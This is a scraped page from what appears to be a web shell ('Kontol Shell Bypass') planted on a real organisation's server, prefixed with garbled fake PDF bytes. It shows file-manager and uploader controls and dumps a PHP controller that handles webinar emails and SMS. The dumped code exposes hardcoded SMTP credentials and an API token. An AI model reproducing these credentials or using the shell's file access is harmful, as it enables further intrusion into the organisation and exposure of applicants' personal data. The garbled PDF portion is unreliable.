%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/Api.php
<?php
class Api extends MY_Controller {
    function __construct() {
		parent::__construct();
		ini_set('memory_limit', '2048M');
        set_time_limit(3000);
        session_write_close(); //improves concurrency if a user opens several pages at once from same browser

        $this->load->model("master_model", "master");
        $this->load->model("dataset_model", "dataset");
        $this->load->model("api_model", "api");
    }
    
    /** Webinar */
    function get_webinar_leads($wb_id, $test_data_set_id=0){
        $wb_dtl=$this->master->webinar_detail($wb_id);

        if(!$test_data_set_id){
            if($wb_dtl['email_initiated'] && (int)$wb_dtl['leads_count']){
                $rs=$this->db->select("WL.application_id, WL.name, WL.email, WL.mob, WL.sms_sent", false)
                ->from("webinar_leads WL")
                ->where(['webinar_id'=>$wb_dtl['id']]) //, 'email_sent'=>0
                ->get()->result_array();
            }else{
                $ds_dtl=$this->dataset->detail($wb_dtl['data_set_id']);
                if(!$ds_dtl){
                    die('Invalid data set');
                }
                $this->common->set_data_set_cond($ds_dtl, true, true);
                $rs=$this->db->select("A.id application_id, U.name, U.email, U.mob", false)
                ->from("applications A ")
                ->join("applicants U ", "A.applicant_id=U.id")
                ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
                ->get()->result_array();

                $this->db->delete("webinar_leads", ['webinar_id'=>$wb_dtl['id']]);
                $wdata=[];
                foreach($rs as $r){
                    $wdata[]=['webinar_id'=>$wb_dtl['id'], 'application_id'=>$r['application_id'], 'name'=>$r['name'], 'email'=>$r['email'], 'mob'=>$r['mob'], 'created'=>currentDT(), 'updated'=>currentDT()];
                }
                if($wdata){
                    $this->db->insert_batch("webinar_leads", $wdata);
                }
            }
        }else{
            $ds_dtl=$this->dataset->detail($test_data_set_id);
            if(!$ds_dtl){
                die('Invalid data set');
            }
            $this->common->set_data_set_cond($ds_dtl, true, true);
            $rs=$this->db->select("A.id application_id, U.name, U.email, U.mob", false)
            ->from("applications A ")
            ->join("applicants U ", "A.applicant_id=U.id")
            ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
            ->get()->result_array();
        }

        return ['sms'=>$wb_dtl['sms'], 'email_subject'=>$wb_dtl['email_subject'], 'email_content'=>$wb_dtl['email_content'], 'leads'=>$rs];
    }
    
    function initiate_webinar_email($wb_id, $user_id, $msg_email){
        init_before_background_process();

        $test_email=trim($this->input->post('test_email'));
        $is_pepipost=trim($this->input->post('is_pepipost'));
        $test_data_set_id=trim($this->input->post('test_data_set_id'));

        $rs=$this->get_webinar_leads($wb_id, $test_data_set_id);
        $d=['updated'=>currentDT(), 'updated_by'=>$user_id];
        if($msg_email!='email' && !$test_data_set_id && !$test_email){
            $d['sms_initiated']=1;
        }
        if($msg_email!='msg' && !$test_data_set_id && !$test_email){
            $d['email_initiated']=1;
            $d['email_processing']=1;
            $d['email_initiated_dt']=currentDT();
            $d['email_initiated_by']=$user_id;
        }

        $this->db->where(['id'=>$wb_id])->update("webinars", $d);
        $d['email_initiated_dt']=get_date($d['email_initiated_dt'], true);

        init_background_process();

        if(ENVIRONMENT!='development'){
            fastcgi_finish_request();
        }
        
        foreach($rs['leads'] as $i=>$r){
            $accepturl=base64_encode(URL.'api/accept_webinar/'.$wb_id.'/'.$r['application_id']);
            $body=str_replace(
                        ['%webinar_accept_url%', '%name%'], 
                        //[URL.'api/accept_webinar/'.$wb_id.'/'.$r['application_id'], $r['name']], 
                        [WebinarUrl.'?url='.$accepturl.'&wb_id='.base64_encode($wb_id), $r['name']], 
                        $rs['email_content']);
            $ed=[
                'to'=>$test_email?$test_email:$r['email'],
                'subject'=>$rs['email_subject'],
                'body'=>$body,
            ];
            if($msg_email == 'msg' || $msg_email == 'msg-email'){
                $accepturl=base64_encode(URL.'api/accept_webinar/'.$wb_id.'/'.$r['application_id'].'?mob=1');
                $rs['sms']=str_replace(
                    ['%webinar_accept_url%', '%name%'], 
                    //[URL.'api/accept_webinar/'.$wb_id.'/'.$r['application_id'].'?mob=1', $r['name']], 
                    [WebinarUrl.'?url='.$accepturl.'&wb_id='.base64_encode($wb_id), $r['name']], 
                    $rs['sms']);
                send_sms($r['mob'], $rs['sms']);
                $this->db->where(['webinar_id'=>$wb_id, 'application_id'=>$r['application_id']])->update("webinar_leads", ['sms_sent'=>'1']);
            }

            if($msg_email == 'email' || $msg_email == 'msg-email'){
                if($is_pepipost){
                    $smtpdtl=[
                        'host'=>'smtp.pepipost.com', 
                        'user'=>'shardapepi',
                        'pass'=>'SUsocial@2019',
                        'port'=>'587',
                    ];
                    $eres=$this->api->send_email($ed['to'], $ed['subject'], $ed['body'], [], true, $smtpdtl);
                }else{
                    $eres=$this->api->send_email($ed['to'], $ed['subject'], $ed['body']);
                }
            }

            if(strpos($eres, 'Unable')===FALSE && strpos($eres, 'Failed')===FALSE){
                $d=['email_sent'=>1, 'updated'=>currentDT()];
                $this->db->where(['webinar_id'=>$wb_id, 'application_id'=>$r['application_id']])->update("webinar_leads", $d);
            }

            $this->db->where(['webinar_id'=>$wb_id, 'application_id'=>$r['application_id']])->update("webinar_leads", ['eres'=>strip_tags($eres), 'updated'=>currentDT()]);
        }
        $this->db->where(['id'=>$wb_id])->update("webinars", ['email_processing'=>0]);
        
        //$this->json_data($rs);
    }
    
    function get_invitation_webinar_leads($wb_id){
        $wb_dtl=$this->master->webinar_detail($wb_id);
        
        $rs=$this->db->select("WL.application_id, WL.name, WL.email,WL.mob,WL.inv_sms_sent", false)
            ->from("webinar_leads WL")
            ->where(['webinar_id'=>$wb_dtl['id'],'accepted'=>1]) //, 'inv_email_sent'=>0
            ->get()->result_array();
            
        return ['inv_sms'=>$wb_dtl['inv_sms'], 'email_subject'=>$wb_dtl['inv_email_sub'], 'email_content'=>$wb_dtl['inv_email_body'], 'leads'=>$rs];
    }

    function initiate_invitaion_email($wb_id, $user_id){
        init_before_background_process();

        $test_email=trim($this->input->post('test_email'));
        $is_pepipost=trim($this->input->post('is_pepipost'));

        $rs=$this->get_invitation_webinar_leads($wb_id);
        $d=['inv_email_initiated'=>1, 'inv_email_initiated_dt'=>currentDT(), 'inv_email_initiated_by'=>$user_id, 'updated'=>currentDT(), 'updated_by'=>$user_id, 'inv_email_processing'=>1];
        $this->db->where(['id'=>$wb_id])->update("webinars", $d);
        
        init_background_process();

        if(ENVIRONMENT!='development'){
            fastcgi_finish_request();
        }
        
        foreach($rs['leads'] as $i=>$r){
            $body=str_replace(
                ['%webinar_accept_url%', '%name%'], 
                [URL.'api/accept_webinar/'.$wb_id.'/'.$r['application_id'], $r['name']], 
                $rs['email_content']);

            $ed=[
                'to'=>$test_email?$test_email:$r['email'],
                'subject'=>$rs['email_subject'],
                'body'=>$body,
            ];
            
            
            //if($r['inv_sms_sent'] == 0){
                $rs['inv_sms']=str_replace(
                    ['%webinar_accept_url%', '%name%'], 
                    [URL.'api/accept_webinar/'.$wb_id.'/'.$r['application_id'].'?mob=1', $r['name']], 
                    $rs['inv_sms']);

                send_sms($r['mob'], $rs['inv_sms']);
                $this->db->where(['webinar_id'=>$wb_id, 'application_id'=>$r['application_id']])->update("webinar_leads", ['inv_sms_sent'=>'1']);
            //}
            
            if($is_pepipost){
                $smtpdtl=[
                    'host'=>'smtp.pepipost.com', 
                    'user'=>'shardapepi',
                    'pass'=>'SUsocial@2019',
                    'port'=>'587',
                ];
                $eres=$this->api->send_email($ed['to'], $ed['subject'], $ed['body'], [], true, $smtpdtl);
            }else{
                $eres=$this->api->send_email($ed['to'], $ed['subject'], $ed['body']);
            }

            if(strpos($eres, 'Unable')===FALSE && strpos($eres, 'Failed')===FALSE){
                $d=['inv_email_sent'=>1, 'updated'=>currentDT()];
                $this->db->where(['webinar_id'=>$wb_id, 'application_id'=>$r['application_id']])
                    ->update("webinar_leads", $d);
            }

            $this->db->where(['webinar_id'=>$wb_id, 'application_id'=>$r['application_id']])
                ->update("webinar_leads", ['eres'=>strip_tags($eres), 'updated'=>currentDT()]);
        }
        $this->db->where(['id'=>$wb_id])->update("webinars", ['inv_email_processing'=>0]);
    }

    function accept_webinar($wb_id, $app_id){
        $cond=['webinar_id'=>$wb_id, 'application_id'=>$app_id];
        $dtl=$this->db->get_where("webinar_leads", $cond)->row_array();

        if(!$dtl['accepted']){
            $d=['accepted'=>1, 'accepted_on'=>currentDT(), 'updated'=>currentDT()];
            if($_GET['mob']){
                $d['accepted_mod']='Mob';
            }else{
                $d['accepted_mod']='Email';
            }
            $this->db->where($cond)->update("webinar_leads", $d);
        }

        //redirect(URL."api/accept_webinar_success/".encode($wb_id)."/".encode($app_id));
        redirect(WebinarUrl.'thankyou.php?url='.base64_encode(URL."api/accept_webinar_success/".$wb_id."/".$app_id));
    }

    function accept_webinar_success($wb_id, $app_id){
        //$this->load->model("leads_model", "leads");
        //$this->load->model("user_model", "user");
        
        //$wb_id=decode($wb_id);
        //$app_id=decode($app_id);

        $cond=['webinar_id'=>$wb_id, 'application_id'=>$app_id];
        $dtl=$this->db->get_where("webinar_leads", $cond)->row_array();

        if(!$dtl['accepted']){
            die("Error!");
        }

        $wb_dtl=$this->master->webinar_detail($wb_id);
        //$ldtl=$this->leads->detail($app_id);

        $this->load->view("pages/webinar_thankyou", ['wb_dtl'=>$wb_dtl]);

        //echo $html;
    }

    function webinar_dtl($id){
        $rs=$this->master->webinar_detail($id);
        
        $dtl=[
            'id'=>$id,
            'title'=>$rs['title'],
            'web_date'=>$rs['web_date'],
            'description'=>$rs['description'],
            'start_time'=>$rs['start_time'],
            'end_time'=>$rs['end_time'],
            'duration_hrs'=>$rs['duration_hrs'],
            'duration_minutes'=>$rs['duration_minutes'],
            'school'=>$rs['school'],
            'topics'=>$rs['topics'],
            'duration_minutes'=>$rs['duration_minutes'],
            'org_dept'=>$rs['org_dept'],
            'web_date_time'=>$rs['web_date_time'],
            'banner_url'=>$rs['banner_url'],
            'banner_sm_url'=>$rs['banner_sm_url'],
            'speakers'=>$rs['speakers']
        ];

        $this->load->view("pages/webinar", ['dtl'=>$dtl]);
    }

    /** Others */
    function daily_alert(){
        if(!USER_ID){
            redirect(URLF);
        }
        $data=$this->api->daily_alert();
        $html=$this->load->view("pages/daily_alert", $data, true);
        echo $html;
    }

    /** */
    function syncleads(){
        $token="sh007@232524";
        $qs=trim_array($_REQUEST);
        if($qs['tokenid']!==$token){
            die("Invalid Token");
        }
        if($qs['mobilenumber']){
            $rs=$this->api->syncleadfrommob($qs['mobilenumber']);
            json_data($rs);
        }
        if(!$qs['lastupdatedonfrom'] || !$qs['lastupdatedonto']){
            die("lastupdatedonfrom and lastupdatedonto required");
        }
        $from=to_date_format($qs['lastupdatedonfrom']);
        $to=to_date_format($qs['lastupdatedonto']);

        $rs=$this->api->syncleads($from, $to);
        json_data($rs);
    }

    /** Budget Report */
    function budget_report(){
        if(!USER_ID){
            redirect(URLF);
        }
        $this->load->model("budget_model", "budget");
        $data=$this->budget->budgetReport();
        $html=$this->load->view("pages/budget_report", $data, true);
        echo $html;
    }

    /** Call Center Report */
    function callCenterReport(){
        if(!USER_ID){
            redirect(URLF);
        }
        $data=$this->api->callCenterReport();
        $data['reportType']="Call Center";
        $html=$this->load->view("pages/call_center_report", $data, true);
        echo $html;
    }
    function admissionReport(){
        if(!USER_ID){
            redirect(URLF);
        }
        $data=$this->api->callCenterReport();
        $data['reportType']="Admission";
        $html=$this->load->view("pages/call_center_report", $data, true);
        echo $html;
    }
}

//EOF

Kontol Shell Bypass